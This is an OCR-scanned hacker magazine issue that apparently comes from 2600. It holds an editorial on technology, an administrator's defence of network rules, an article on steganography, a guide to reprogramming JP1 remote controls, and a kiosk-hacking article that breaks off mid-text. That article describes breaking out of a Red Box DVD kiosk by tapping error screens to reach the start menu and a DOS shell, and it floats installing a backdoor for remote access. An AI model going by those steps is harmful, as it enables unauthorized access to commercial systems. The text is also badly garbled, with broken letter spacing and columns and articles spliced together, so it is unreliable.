






As Arthur C. Clarke. once said,. "Any suffi.­
ciently advanced technology is indistinguish­
able from magic." Anyone who's been on this 
planet for more than a decade would probably 
agree to some extent. So are we in fact living 
in a time of magic? Let's look at where we've 
come. 

We can now stay in touch with everyone we 
know no matter where we are. And by stay in 
touch, we're talking about nearly everything 
imaginable. It was enough of a revolution 
when you were able to start using a phone that 
wasn't connected to a wire. But now you can 
also be connected to the Internet. Not just for 
rudimentary text content but full graphics as 
well. The speed continues to increase and soon 
will be indistinguishable from a home or office 
connection. Many of us walk around now fully 
able to instantly respond to any email sent to 
us regardless of where we happen to be stand­
ing. 

And of course, the phones themselves come 
with more and more extra features. It's be­
come almost impossible to find a mobile 
phone that is only a phone. Odds are you will 
have a camera, mp3 player, organizer, and/or 
the equivalent of a small laptop attached to 
the thing you want to use to make phone calls. 
Naturally you will be able to transmit and re­
ceive the pictures you and other "phone users" 
take and those pictures will only get better 
looking as technology marches on. We've al­
ready entered the world of movies so in effect 
you may also have the equivalent of a small 
camcorder traveling around with you. 

Oddly enough, the voice quality of a tele­
phone call on one of these things is dramati­
cally lower than something that's been around 
for many decades: a landline. The technology 
certainly could be developed to make every 
phone call sound as good as the mp3s you 

listen to on your phone. But for now, voice 
quality appears to have been the one thing left 
behind. 

It goes without saying that computers have 
advanced at an incredibly rapid pace. In the 
early days of our publication, a 4.77 MHz 
processor with a ten megabyte hard drive was 
cutting edge. Today, we don't bat an eye at 
a 2.2 GHz processor and 400 gigabytes on a 
single drive. 

In fact, when we started publishing, having 
a computer of your own was an unfulfilled 
dream in many cases. This dream is what led so 
many of us to the world of hacking. By explor­
ing the phone system and packet switching 
networks like Telenet and Tymnet, people 
were able to stumble upon computers run by 
companies, schools, governments, or other 
institutions. It was that period of discovery 
that inspired so many and was indeed itself a 
magical era in the hacker world. 

In many ways we've gotten exactly what we 
wanted. Early hackers were very keen on com­
munications and loathe to pay the evil Ma Bell 
for the privilege. Phone calls of the past cost 
an astronomical amount compared to the rates 
of today. Connecting overseas was almost un­
heard of because it would cost multiple dollars 
a minute. And now it's less than a dime a 
minute if that much. With VoIP it can cost next 
to nothing. It would appear that the cheap and 
global connectivity we once fantasized about 
has become reality. 

These kinds of advances are mirrored all 
throughout our society. Nearly every task -
from typesetting a publication to making 
music to running a business - has been revolu­
tionized by the magic our technology has 
achieved. And yet we seem to spend more time 
working at these tasks than ever before since 
the priority now is keeping up with everyone 
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else who's doing the same thing. Nothing 
can deflate the sense of magic quicker than 
conformity. 

And this is the problem that we have seen 
emerge. We take it all for granted and lose 
sight of the fact that these are true wonders of 
technology. And by losing that we also lose 
much of the inspiration that can lead us to 
much better advancements and new ways of 
doing things. Email isn't so much fun when you 
can't ever get away from it. And when using 
the telephone is something we do almost as 
much as we breathe, it somehow ceases to be 
exciting. 

How many of us can say we remember what 
it used to sound like when making a long dis­
tance call? Even the term "long distance" used 
to have a different meaning and could apply to 
a destination less than 100 miles away. You 
could easily tell if you were speaking to some­
one down the road, in a different state, or on 
the other side of the country. And calls to for­
eign countries always had this air of mystique 
about them with the hiss of the trunk line, a 
slight echo, and the ever present in-band sig­
naling tones. Telephone calls themselves used 
to be events. Phones rang with a commanding 
bell. You never knew who was on the other end 
until you picked it up. Even answering ma­
chines were rarities. A ringing phone simply 
could not be ignored. And because of the cost 
involved, there was usually a compelling rea­
son for calling someone. Everything from the 
network to the ring to the sound of what was 
coming over the lines was inspirational and 
exciting for people who were curious. 

Today it's barely recognizable. Everyone is 
constantly yammering away on a handheld de­
vice of some sort. Rings can be any audio 
sound you want. People actually pay for ring­
tones and not for calls. You can't tell from the 
sound quality if you're speaking to Cleveland 
or Beijing. We always know who's calling and 
there are so many ways of leaving messages. 
Phone calls have turned into non-events. 

The Internet has had the same effect on 
computer communications. While few would 
want to go back to the days of logging onto 
single line bulletin board systems where you 
would wait hours for the busy signal to turn 
into a ring, it somehow was more of a big deal 
when you found that there was a message 
waiting for you on one of those systems. How 
many of us feel that way about the email we 
get today? Sure, it's more accessible. And 

much cheaper. But it's also very routine and 
mundane. The magic has been sucked right 
out. 

Of course it would be ridiculous to resist 
advancement because of these nostalgic feel­
ings. But we will be losing a great deal if we 
become so caught up that we fail to marvel at 
what we're actually doing when we communi­
cate through technology. And not appreciating 
what it is that your computer is doing when 
you perform a routine task isn't much different 
than not understanding what's going on and 
becoming a mere user who will never stray 
from the norm or question the rules. 

So how do we regain this sense of magic? 
It's simple. As long as we believe what we're 
doing is exciting and can be shaped into some­
thing that nobody else has accomplished, our 
passion will be as strong as it ever was. This al­
most invariably means taking risks and doing 
things in ways that are very different from 
what we're told. That's what hacking has al­
ways been about and that's what continues to 
inspire people to become a part of this world. 
It's the power of the individual to accomplish 
something despite everything they're told 
about how the only way to succeed is to be like 
everyone else. This obviously is a basic tenet 
of individuality, which can be applied to any 
aspect of life. 

For all of the positive advancements we 
have witnessed, there is always a dark side. 
Our society has become obsessed with surveil­
lance and individuals have an increasingly 
shrinking amount of privacy to protect. While 
we may have made our lives easier with satel­
lite technology and the latest microscopic 
computer chip, you can bet that others have 
used this knowledge to create more efficient 
ways of killing and oppressing. And never be­
fore has the gulf between those who have a 
world of technology at their fingertips and 
those who have nothing been so vast. Not 
every advancement in technology is by default 
a good thing. 

Our understanding and our passion have 
gotten us this far. We would be foolish to think 
that this is where it stops. As the people who 
design systems, find security holes, and con­
stantly question all that we're told, we have a 
special responsibility to keep the whole thing 
magicaL fun, and beneficial. We should never 
lose our link with the past. And we cannot let 
our link to the future be taken from us by 
those who don't know how to dream. 
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Network Administrators: 

Why We Make Harsh Rules 
Piano Guy 

I've been about writing another a rti-
clefor 2600 for quite some time.  I didn't, however, 
because frOm at least some of your readers '  per­
spe(;tives, l'mqn t�e'!other side of the line." I am  
the guy rn

'
''management'' who dea ls with fo lks 

that break the "network ru les ." 
lfinaUy gotinspireG,to write this a rti cle based 

ona letterJrom Ll.lkeirt22:3. Luke, li ke many let­
ter wrjters, wasthe"kid in school" who did "j ust a 
little hacking" that got pa raded down to the prin­
cipa l's office and suspended. What i rked me 
enough that I decided to write this a rti cle is the 
im matu re SO B of a systems admini strator who 
teased him. That bothered me a lot, since being 
that im mature can't do anything but leave a bad 
taste with Luke. Lesser men wou ld get revenge. 
I 'm seeking peace though understanding . 

I felt I needed to explain to those of you who 
don't get it how come network ru les exist, and 
make it  clea r that we (i . e . ,  management) a ren't a ll 
out to get you. Instead, we a re more concerned 
a bout covering ourselves and ma king su re that a ll 
network users can get what they need from the 
network, when they need it .  

I work for a nonprofit that i s  a daug hter 
agency to a la rger nonprofit. One of the sister 
agencies has a bri lli ant man who provides our net­
work connectivity and security. He a lso does this 
fo r severa l other of the daug hter agenci es. He  sets 
the ru les and I enforce them . We' re a ll on the same 
big network. 

For people who abso lutely have to do stuff that 
i sn't within these rather stri ct rules, we have some 
computers in a li b ra ry that a re hooked up th roug h 
a different network where secu rity i sn't nea rly as 
tig ht. Then again, they a re a few computers and 
they a ren't a ll pa rt of a domain. The genera l  publi c  
has  access to  these computers, so my users can do 
what they want, on brea k ,  in our  li bra ry. 

To sum up, we have a lot of po licies that re­
strict the use of the network to a great degree. 
However, if anyone needs to do something for 
business-related purposes, we find a way for them 
to do what they need.  Either we change a rule, or  
we give them pa rticu la r  permissi on "forever" or  fo r 
a distinct window of ti me .  If you ' re on the "busi­
ness side" of the network there a re stri ct ru les .  

These ru les a re as  fo llows: 
1. Use the network fo r business pu rposes only. 
2. No one hooks  up other devi ces to the net­

work without permission (i . e . ,  laptops, PDAs, 
th umb d rives, wi reless periphera ls ,  etc. ) .  

3. No one insta lls their own softwa re or  does 
insta lls besides me. 

4. No one connects to persona l email, either 
through a softwa re cli ent (i . e . ,  Outlook Express) 
or  through a web interface. 

5.  No one uses chat softwa re. 
6.  No one uses fi le s ha ring softwa re (i . e . ,  

Kazaa ) .  
7. No use  of  Internet radio or downloading of 

music or video fi les, unless related stri ctly for 
work purposes. 

8 .  No copyright  infringement. 
9.  No attempting to ci rcumvent the current se­

cu rity systems or  hacking .  
10. We make it clea r t hat  we  offer no  expecta­

tion of privacy on our  network. 
11. All executab le and zip fi les a re b locked at 

th e fi rewa ll . 
Some of that may seem reasonab le to some of 

you, and some of that may seem way over the top. 
There i s  a reason fo r each rule, h owever. Explain­
ing the reason may make it  bother you less when 
you encounter one or more of the ru les in your 
da i ly lives as  employees or students . 

Fi rst, we a re understaffed.  It is a ll I can do to 
do my day job without having to chase down 
vi ruses too. That. and any vi rus that hits one of my 
machines cou ld easi ly hit a ll of the machines in 
the network .  As an example, Si rcam was certainly 
very good at jumping from machine to machine. 
One user making a bad move can infect litera lly 
h undreds of computers , requi ring h und reds of 
staff hours to clean up the mess. It could litera lly 
cost six figu res worth of labor and lost revenue to 
recover from one user's  mistake. So we set policies 
and ha rdwa re in place that make sure that that 
one user i sn't li kely to make a mistake. 

As an aside,  when I use "vi rus" in this a rticle, 
feel free to plug in Trojan, ad-wa re, spywa re 
scumwa re, or worm , or what have you. 

Second , we a re under budgeted .  We a re non­
profit in every sense of the word . It would be great 
if we had the money to buy more bandwidth , more 
staff, and better protection, but we j ust don't. 

Third, whi le most of the users a re b right  
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people, some of them have troub le finding the 
on/off switch . I have to support them rega rd less, 
so the ru les exist to cover us for the lowest com­
mon denominato r. 

For these reasons, we insist that the network 
be used for business pu rposes only. Users going to 
business-only related websites reduces signifi­
cantly the chances of them coming across a vi rus,  
and it does reduce our bandwidth usage. If some­
one is doing something persona l and not causing 
a prob lem, we p robab ly a ren't going to even no­
ti ce. If they a re causing a problem, we need to be 
ab le to tell them to stop ,  and have poli cy on our 
side. 

By restri cting connecti ons of PDAs, la ptops ,  
and thumb d rives to our netwo rk, we prevent yet 
another vector of vi ruses onto the network. Yes ,  
there a re peop le who do use thumb drives and 
PDAs and la ptops .  The PDAs we app rove a re not In­
ternet-ca pab le .  Laptops have current anti-vi rus 
softwa re (and I check this to ma ke sure they keep 
thei r  subscri pti ons and definitions current) . 
Th umb d rives a re brought to me to be scanned for 
vi ruses before being connected to the broader 
network. Or, maybe they a re not. If a thumb drive 
i s  not brought to me, is connected, and the net­
work is infected,  then at least we have grounds to 
terminate the emp loyee. 

The restri ction against b ringing in one's own 
softwa re fo r insta ll is th reefo ld . Fi rst, someone 
downloading softwa re doesn't know that it i s  
vi rus-free. Second , if som eone wants to bring in a 
program from home that they want to use in both 
p laces, that i s  a vi o lation of copyri g ht law, which 
puts our  agency at ri s k  fo r f ines.  Third, i f  it's on 
one of my machines, then I have to support it. 
That may be a hass le (because the program might 
be horri b le) ,  and it may interfere with other soft­
wa re on the computer. I just don't have ti me to 
chase down these kinds of problems .  It is better if 
a user needs something that we find an agency­
wide so lution for the prob lem ,  even if it is only 
one person that needs to do it. Someti mes many 
peop le have to do the same thing. I can better 
support it if they a ll use the same method and 
tool. This helps keep standards too, so everyone i s  
doing something in an effi ci ent way that  doesn't 
mang le the network. 

Not bringing in emai l  from outside or using 
chat softwa re is si mp ly the preventi on of a vi rus 
vector. Reduced use of bandwidth i s  an added ben­
efit, but it pa les in comparison to not getting a 
vi rus on the network .  

Not using Kazaa and its i l k  covers us for band­
width , vi rus preventi on, and copyri g ht infringe­
ment. 

Not downloading media fi les saves us from 
copyri g ht infringement. Our  marketing depa rt­
ment does bring media fi les onto ca mpus ,  and we 
do use them . They a re inti mately aware of the 

copyright  laws, and ca ll lega l  when they a re not 
sure. It is thei r  job to not get us into troub le by in­
fringement, however, and they do thei r job  very 
well. 

Not using Internet radio i s  stri ctly a bandwidth 
issue. I wi ll li sten to our  pub li c  radio stati on vi a 
the web , but only on a weekend when we're closed 
and none of the other agenci es a re open. At that 
time of the week, no one cares .  If, however, I were 
dumb  enough to do this du ring the week, I'd hear  
from my users how s low everything i s  running, and 
could I do something about it. This is one of those 
"if you ' re not causing a problem , no one ca res" 
po li cies .  

Not hacking i s  expected fo r a few reasons. 
Fi rst, hacking can b rea k things .  This increases my 
workload and ,  as  I sai d ,  I a lready am overworked . 
Second , the ha cker isn't doing the work they a re 
paid to do if they a re ha cking . Th i rd ,  if someone i s  
h a cking , it i s  usua lly to  do something they know 
we wou ldn't app rove of. Remem ber that any work­
related task i s  a llowed , and ru le exceptions do oc­
cur i f  simp ly a sked.  Lastly, h acking ma kes secu rity 
holes . If I don't find this h o le, and someone fal ls 
into it unwittingly, then we cou ld get a vi rus .  

As an examp le, a ha cker who no longer works 
for us did hack ,  and left a secu rity ho le in a user's 
computer (they sha red the same workstation) . 
That other user was in with thei r  chi ld on the 
weekend working . When that other user went to 
the bathroom , thei r  ch i ld deci ded to ch eck thei r  
emai l .  T h e  vi rus downloading part didn't occu r this 
ti me,  but it sure could h ave. Logs s howed the ac­
cess ,  which is the only way we even knew we had a 
p rob lem . It's kind of li ke the hacker removed a 
manhole cover and a b lind man fell down the ho le. 
Had  the hacker not removed the cover, there 
wou ld not have been the inju ry potentia l  in the 
fi rst p lace. The excuse of "I' l l  put everything back" 
doesn't cut it beca use no one is infa lli b le. One 
miss and the "manho le cover" has  been removed .  

We offer no gua rantee of privacy on the net­
work.  This is to cover ourselves lega l ly if we have 
to investigate someone's use of our  system .  It a lso 
covers us i f  we're hacked . As an exa mple, I have a 
user who used to insist on doing her banking on­
line at work on her brea ks .  She  doesn't own a com­
puter at home. I've exp lained to her that this ties 
up a lot of security resou rces (encryption wi l l  do 
that) ,  but she  didn't stop .  I then exp lained that if 
we're ever h acked, that her bank account info rma­
tion i s  stored on the computer, and that we can't 
be responsi b le i f  her account gets drained . That 
stopped her. 

Lastly, we b lock a ll executab le fi les and zi p 
fi les at the fi rewa ll .  In our  line of work, no one 
shou ld be sending executa b le fi les to us .  As fo r zi p 
fi les, it is not possi b le fo r us to scan a password­
protected zi p fi le for vi ruses. We b locked all zi p 
fi les, and did not insta ll programs  to hand le zi p 
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files on most of the clients (we're running W2K, 
not XP). If someone needs to get something via 
zip, we ask the person sending it to rename the 
extension. Then it comes through. Someone send­
ing a virus isn't going to do that. My users who 
have a need to receive zip files ask for them to be 
renamed, get them, rename them back, and scan 
them before opening. These are my "bright bulb" 

users. As a result, I've never had a 
zip file virus. 

In essence, we have these rules 
from network damage, and to make sure that 
everyone can do what they need to do when they 
need to do it. The rules are not to punish hackers. 
They are to make sure that hackers don't acciden­
tally punish other users. 

WRITERS WANTED 

by GLutton 
Steganography is Greek for hidden writing. 

The concept has actually been around for ages, 
with the idea that adding a "security by obscu­
rity" layer to an encoded message would make it 
even harder to crack. There are legends of Greeks 
covering hidden messages in wax or writing it in 
invisible ink. In our day we tend to think in tech­
nological terms. There was a rumor that the 9/1 1  
hijackers used digital steganography to commu­
nicate but this was discovered to be totally un­
true. Stego even made it into a Hollywood movie, 
with f"'organ Freeman using it in Along Came a 
Spider. 

W i n ter 2 00 5 - 2 00[, 

The idea as it is traditionally presented is this: 
A 24 bit Jpeg has eight bits for each color. If you 
swap out one bit for each pixel, you can use that 
bit to hide data with a negligible loss of color. 

All very interesting, but not practical because 
of the need of specialized software. Plus often­
times web-based images go through some sort of 
resampling, resizing, or compression. For exam­
ple, if you upload an image to Ebay, you don't see 
the original photo in your listing. You see a copy 
of it. Whether this affects the functionality of the 
stego or not is unknown but nevertheless it adds 
to the worry. Then there is the fact that the au­
thorities have exhaustively researched steganog-
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ra phy because of the supposed 9/11  connection . 
They p robab ly have image-snarfi n g  bots snoop­
ing the  n et, sea rchi ng  for those tellta le d ropped 
bits . 

RGB Stego 
There is an easier  way. Computers d isp lay 

color usi ng  Red, G reen ,  a nd  B lue,  with each of 
the th ree co lors rep resented as  a value between 0 
a n d  2 5 5 .  As it happens ,  this is a lso the  ra nge  fo r 
the standa rd ISO 8859-1 character set that is em­
bedded in a ll TrueType and Type 1 fonts. Fo r ex­
ample, 36 is the code fo r $. Say I have a si n g le 
pixel of color, with the value of R=99 ,  G=97, a nd  
B=1 16 .  Well, with that one  pixel I spelled "cat" ! 
With t h ree bytes per pixel, you ca n fit an i n credi­
ble 1 5 , 5 5 2  cha racters i nto a typica l one i n ch  
square graph ic !  

Before you get a ll excited,  he re a re some dif­
fi cu lties .  Fi rst, u n li ke the dropped-bit stego,  that 
one by one i mage won 't loo k  li ke anythi ng  except 
mush .  Second ,  without speci a lized softwa re, it 
would ta ke forever to encode a 15 , 000 letter n ote 
in Photos hop !  It wou ld a lso be a d rag  to decode; 
you 'd  h ave to open the graphic i n  Photoshop  a nd  
check the  RG B va lues fo r every pixel. And  fi na lly, 
o n ce the  bad g uys fi gu re out what you ' re doi ng ,  
they c a n  decode you r  message as easi ly as  you r  
i ntended audience ca n .  

Before I get i nto possi b le so lutions ,  he re a re a 
coup le of other  i deas fo r concea li n g  messages on  
the web:  

Metadata. This i s  mere ly text appended to a 
fi le, visi b le or n ot dependi ng  on the  p rocesses 
used . The tec hno logy was developed in associa­
tion  with a coup le of newspaper g roups i n  o rder  
to em bed copyri g ht data , cutli n es, credits, a n d  so 
o n .  Digita l ca meras add a record of their model  
n u m ber  a nd  someti mes f-stop and ISO setti ngs  to  
metadata . In  Wi ndows, you can ed it  this i nfo rma­
tion  fo r fi les saved i n  Photoshop ,  Tiff, Jpeg,  EPS ,  
a nd  PDF  fo rmats. In Mac OS,  you can add  fi le in­
fo rmati on  to fi les i n  a ny fo rmat. The text i s  em­
bedded in  the  fi le usi n g  a fo rmat ca lled 
eXtensi b le Metadata Platform (XM P ) .  N ow how 
does th is  he lp us? Well, there i s  room fo r com­
ments among  the  fi elds, so s ho rt messages cou ld 
be attached to J pegs a nd  p laced on a web page.  
Fo r this to work you 'd need to have a p rea rra nged 
p la n  fo r which image  to nab. Maybe you have an 
a lb um  of i n n ocuous vacation  p h otos but one spe­
cia l  one in which you have em bedded the mes­
sage.  Si n ce a nyone  ca n loo k  at metadata if  they 
know h ow, you cou ld even encrypt the  data for 
added security. Now, why n ot j ust emai l  if you 
p la n  o n  usi n g  PG P? Well ,  if the bad guys i ntercept 
an emai l  contai n i ng  an encrypted message, 
they' l l  know you ' re up  to n o  good. Sneaky i s  
good . 

HTML Stego. Even easi er  than  RG B steganog­
raphy, HTM L's co lor  pa lette can be used to create 
ra nges of 0 to 2 5 5 .  In the good o ld days, there 
were a fi nite n u m ber  of colo rs that everyone 
cou ld view on the web . So co lors were a n d  a re 
rep resented by six hexadecima l  digits - FFFFFF i s  
white, fo r examp le .  The fi rst two di gits a re Red, 
the  secon d  two a re G reen , and the fi n a l  two dig­
its rep resent B lue .  Sixteen ti mes sixteen equa ls 
256 ,  a nd  there you have you r  cha racter ra n ges.  
All you have to do  i s  create appa rently decorative 
b locks of color usi n g  the  <Tab le> feature, b ut 
these a re actua lly you r  h idden message. Or you 
cou ld color sn ippets of text with you r  code col­
o rs ,  requ i ri n g  readers to View Source to see thei r  
values.  T h e  advantage o f  HTM L steganography i s  
t hat  you  don 't need a nyth ing  but  you r  wits a n d  a 
text editor to encode o r  decode !  

Solutions To Problems 
Mush: You r  coded RG B message looks  out of 

p lace on  you r  web page. S h ri n k  it down to one  
pixel by  one  pixel a n d  it wi ll be a n  i n n ocuous dot 
i n  one obscure corner of you r  page.  O r  float a 
butt ug ly logo  over it usi n g  CSS layers . Or ma ke 
the  coded portion  of you r  message a stri p a pixel 
wide  at the  bottom of you r  decoy i mage .  

Time Consuming: I mentioned the 1 5 , 5 5 2  
characters t o  i llustrate, b ut you r  message n eed 
n ot be War and Peace. A simp le message of 120  
cha racters would n eed o n ly 40  pixels . I f  you  were 
rea lly a m bitious ,  you cou ld write a p rogra m that 
a n a lyzes the  color values of graphics a nd  retu rns  
as outputted text a stri n g  of 0-2 55  n u mbers.  

Insecure: Simp ly scra m b le the ISO 8859-1 
cha racter set a nd  voi la ! You have a substitutio n  
cypher. One  o f  t h e  wea knesses o f  a substituti o n  
cypher  i s  its susceptib i lity to  bei n g  cracked by 
guessi ng  the letters based on  thei r  frequency. 
However, those cyphers a re based on a 26- letter 
ha sh .  We have 256 cha racters ! So how can we use 
this to our adva ntage? Well, how about our na­
tive la nguage of 1337sP33K? Don 't g roan ,  there 
a re n u merous g lyphs  i n  the  ISO 8859-1 cha racter 
set that resemble other  letters . Ta ke the most 
easi ly guessed letter, E. We can substitute 3 ,  E, e, 
E, " E, e, and  so o n .  Al l  perfectly readab le once 
decoded, but to the codebreaker tryi n g  to crack a 
substituti on  cypher, it 's a huge  stumb li n g  b lock .  
O r  of cou rse you cou ld encrypt the message with 
PG P and make it a ll but u nb rea kable .  

Conclusion 
Someti mes the most diffi cu lt code to b rea k i s  

the  one  you ca n 't see. Wh i le not perfect so lu­
tions ,  the ideas p resented here can help keep 
you r  com m un ications  p rivate in a wo rld i n  which 
someone, it seems,  i s  a lways watch ing  and lis­
teni ng .  
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HacKin� a JP1 Rem 
by J.M .  

Have you  ever seen  a con nector Li ke th i s  La­
beLed "J Pi" on the back of a remote contro L a nd  
wondered what i t  wa s  for? 

The J Pl con nector i s  what the remote manu ­
factu rer uses to  p rogram i t  a t  the facto ry. B ut us­
ing a speci a L  cab Le you ca n connect it to you r  
computer a nd  rep rogram t h e  remote . You can 
backup you r  setti ngs,  add  new device codes to 
the remote, or even create you r  own devi ces if 
you r  remote has a Lea rn ing  featu re .  And  actua LLy, 
some of the devi ce upgrades you can use fo r 
these remotes can have u nexpected featu res. A 
device upgrade I fou nd  that worked with my 
stereo had  a fun ction i ng  s Leep ti mer  button ,  
somethi ng  my stereo 's o rigi naL  remote did n 't 
even have! 

Fi rst. you n eed a remote with a J Pl con nec­
tor, or at Least a remote that has h o Les in the ci r­
cuit board where you ca n so Lder  a J Pl con necto r. 
Next, you need to bu i ld or buy a J Pl cab Le .  I 
wouLd suggest you j u st buy one  a Lready made .  
They cost about the same as the  pa rts a nd  a re a 
Lot Less of a hass Le .  You can get a para LLeL port 
versi on  of a J Pl cab Le o n Li n e  fo r a round  $ 1 5 .  I 
bought  m ine  from B LueDo . com .  

Setting Up The  Software 
Once you get the  remote contro L  a nd  a J Pi ca­

b Le, you need to down Load some software. Fi rst, 
down Load "IR515 . ZIP" a nd  " RD Fs_foUR_a nd_ 
-RM_Version_x .zi p" from http ://www. hifi - re 
-mote.com/fi Les/too Ls/ . 

Now create a fo Lder  a nd  extract IR515 .zi p  to 
it. Then create a subfo Lder ca LLed " R D F" a n d  ex­
tract the contents of the RDFs zi p fi Le to that 
fo Lder. The fi rst ti me  you run IR, go under the  Fi Le 
menu  a n d  seLect "Set RDF  Path ",  a n d  seLect the  
RDF  fo Lder you j u st created a nd  extracted the  
fi Les to .  

With IR . exe you can down Load a n d  modify the 
setti ngs  from you r  remote, as weL L  as create back­
ups  of you r  remote's setti ngs  so if a nythi ng  hap­
pens to the  remote a nd  it Loses i ts  memory, you  
ca n easi Ly rep rogram it with a LL of you r  cus­
tomization s .  And dependi ng  on  you r  remote's ca­
pabi Lities, you ca n modify thi ngs  Li ke key moves, 
macros, Lea rned sig n a Ls, device u pgrades, a n d  
mo re .  

To create upgrades fo r the remote, o r  to use  
upgrade fiLes other  peopLe have created, you wi ll 
n eed a Java p rogram ca LLed RemoteMaster. 

Fi rst down Load a n d  i n staLL the J ava 2 PLat­
fo rm (J 2SE )  versi on  1 .4 . 1  or Later from http :// 
-java . s un . com/j 2se/downLoads/ .  Then down­
Load RemoteMaster from http ://controLremote 
-.sou rceforge .  net;. 

To execute RemoteMaster, open the fi le " Re­
moteMaster.ja r. " 

Finding and Using Device Upgrades 
You can fi n d  devi ce upgrades that other  peo­

p Le have a Lready created in the "Device Upg rades" 
section  of the  J Pl Fi Le Section  fo rum 
( http://www. hifi- remote.com/forums/ d Load .  php ) .  
One  n ote: You h ave to  register a nd  be Logged i n  
to  see  a nyth i ng  i n  the  Li st. 

Once you fi n d  an upgrade you want to use 
with the remote, run RemoteMaster (open the 
fi Le " RemoteMaster.ja r " )  a n d  open the  upgrade 
fi le. With the upg rade  fi Le open,  seLect the  modeL  
of you r  remote contro L i n  the d rop-down menu  at  
the top of the  wi n dow. Now click  the Layout tab 
and make su re the  remote button s  a re o riented 
with the correct fun ctions .  To change  what fun c­
tio n  is assigned  to a button,  rig ht-click  it a n d  se­
Lect the fun ction  you want. 

Once you have everythi ng  i n  RemoteMaster 
set the way you want it. cli ck  the Output tab .  This 
i s  the data that the I R  p rogram  wi LL use. C Li ck  the  
copy button a nd  go  back to  IR .  In the I R  p ro-
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gram.  u nder the Devi ces tab ,  cli ck  the Add but­
ton .  In the wi ndow that a ppears,  paste the data 
you copied from RemoteMaster in the top 
textbox. Then j ust say O K. Now a ll you have to do 
i s  assi g n  the upgrade's setup code to one of you r  
remote's device keys a nd  u p load the setti ngs  
back to the remote. 

How to Create Your Own Device Upgrades 
If you r  remote has a learni ng  featu re, you ca n 

a lso use IR a nd  RemoteMaster to create your own 
device upgrades if you ca n 't fi n d  one that works 
with your device.  Once you r  remote contro l  has  
learned the keys you want to put i n  the device 
upgrade ,  down load the rem ote's data with IR. 
Under  the Lea rned Si g na ls tab ,  cli ck  one of the 
buttons  you want to use with the upgrade a nd  
n ote the button ' s  Protoco l a nd  the Devi ce Code. 
Then go  back to RemoteMaster and change the 
Protocol  a nd  Devi ce code to match what you got 

'The 

by blakmac 
blakmac@gmai l.com 

www.page33.tk 
Many if not most of the audience have seen or 

used the DVD renta l kiosks that have taken up 
resi dence at many McDona ld's resta urants. The 
machi ne  at o u r  locati on ,  a Red Box model  DVD-OT, 
provi des a n  extremely easy a n d  affo rda b le way to 
rent n ew re lease movies, p rovided of cou rse you 
have a valid  form of p lasti c  paym ent. In this arti­
cle we wi ll loo k  at what cou ld be considered a ma­
jo r  security th reat if app lied proper ly, as wel l  as 
add ress some theories which may or may not be 
foun ded i n  rea lity. If you a re i n  n eed of a dis­
clai mer, stop read ing right  now. 

The Machine 
The Red Box model DVD-OT i s  more or less an 

off-the-she lf computer r unn i ng  Wi ndows XP Pro­
fessi ona l, some DVD dispensi ng  ha rdware, and a 
touch-screen monitor i n  a big red meta l box. The 
top secti on  of the box h ouses the  screen ,  DVDs, 
and a ll the mechan isms used to dispense the 
movies,  whereas the lower section  h ouses the Pc, 
keyboard ,  etc. All of this ca n be considered bor­
i n g  to most of you .  O h ,  I a lmost fo rgot - this ma­
chi n e  has  a h igh-speed Inte rnet con necti o n .  We 
wi ll get to that s ho rtly. 
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from t h e  entry i n  I R .  One  last thi n g :  Assi gn  the 
upgrade a Setup Code .  

Once you get the device set  up ,  create a n d  
map  t h e  i n divi dua l  fu ncti on s .  Usi ng  t h e  Lea rned 
Si g na ls i n  IR, note either  the EFC, OBC ,  o r  H ex 
Com mand  for the fu ncti on you want to create a nd  
enter i t  i nto the Functions  list i n  RemoteMaster. 
When  you enter one  of those th ree n um bers i nto 
a fu nction  in RemoteMaster, it wi ll ca lcu late the 
rest. Once you create a ll the fun ctions  you need,  
j ust map  them to the buttons  li ke you did befo re 
a nd  copy the output to 1R. Then j ust set up a de­
vi ce that uses the Setup Code you assi gned to the 
upgrade and you ' re done. If you create a device 
upgrade you thi n k  someone e lse may have a use 
fo r, you can s ha re it by up loadi ng  it to the 
"Device Upg rades" secti o n  of the J Pl Fi le Section  
fo rum .  

The Software 
The Red Box softwa re is la un ched automati ­

ca lly (I assu me) on  startu p .  As of th i s  a rti cle, I 
have n ot found  a way to exit the p rogra m .  There 
is a " h idden "  screen that asks for a 
username/password , h owever I've had no luck 
with that either. To access this screen ,  si mp ly 
touch the " h elp" button a nd  then tap on the Red­
Box logo at the botto m of the screen . I assume 
that there are some interesti n g  features beyond  
this logi n p rom pt. 

Some other p rograms  that run on this ma­
ch ine  i n c lude programs  to hide the start bar and 
one  that looked particu la rly i nteresti ng  - test 
contro ls fo r the DVD dispensi n g  mechani sm .  This 
p rogram  did n ot have any i n formation  i n  the title 
ba r, so mo re research is needed.  Odds a re that 
this program has  a s hortcut i n  the start menu ,  
li ke the  start ba r  hidi ng  program  (and  severa l 
others that I did not have ti me  to note - more i n ­
fo rmation  when  I get it) . 

The Flaw(s) 
Alth ough  I have so far been unsuccessfu l at 

fi nd ing  a way to comp letely exit the kiosk p ro­
g ram ,  I did noti ce somethi ng  whi le tryi ng  to as­
sist a customer  with the machi ne  one nig ht. From 
certai n erro r screens  (there a re severa l, not a ll 
wi ll do this)  you ca n ta p on the lower left h a nd  
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corner  of the screen and  get (shock)  a sta rt h ere's a possi b Le scena ri o :  by obtai n i ng  the  
menu .  The start menu  contai ns many (if not a LL) add ress of the  mach ine ,  theo reti cal ly o ne  cou Ld 
of the  featu res you wouLd expect from a sh i ny gai n access via the  remote admin  tooLs. Another  
n ew XP  box ,  i n cludi ng  games, misceLLa n eous scena ri o  i s  that  o ne  couLd down Load a nd  i n stal l  
software, and a wonderfu L featu re fo r touch some ki nd  of backdoor program ,  ftp,  o r  http 
screen (ab) users ca LLed o n-screen keyboard .  This server on  the  Red Box itseLf, then gai n access 
p rogram has been pa rt of the Wi ndows Accessi- from a remote locati o n .  Either  way the possibi lity 
bi Lity package fo r a lo ng  ti me ,  but si nce the  key- of remote access exi sts . 
board is Locked away i n  the bottom of the  Aside  from this ,  o n e  cou Ld manage to spawn a 
mach ine ,  this wi LL h eLp us on ou r  jou rney. On the  DOS shel l  usi n g  the  techn iq ues mentioned  above 
mach i nes I have encountered , the screen i s  a bit (on screen keyboa rd )  a nd  possi b ly gath er  i n fo r-
insensitive so this is an a n n oyi ng Ly s Low way to mation  on othe r  machi nes on this n etwo rk .  After 
access th ings .  But pati ence is a vi rtue, ri g ht? a LL, they a LL must have a common  server si n ce you 
We'LL sta rt by La unch i ng  the onscreen keyboard .  can retu rn t h e  DVDs t o  any ki osk a nd  b e  credited 
After that, hit the bottom Left co rner  again a nd  fo r the  retu r n .  ( B rowsi ng  My Netwo rk PLaces was 
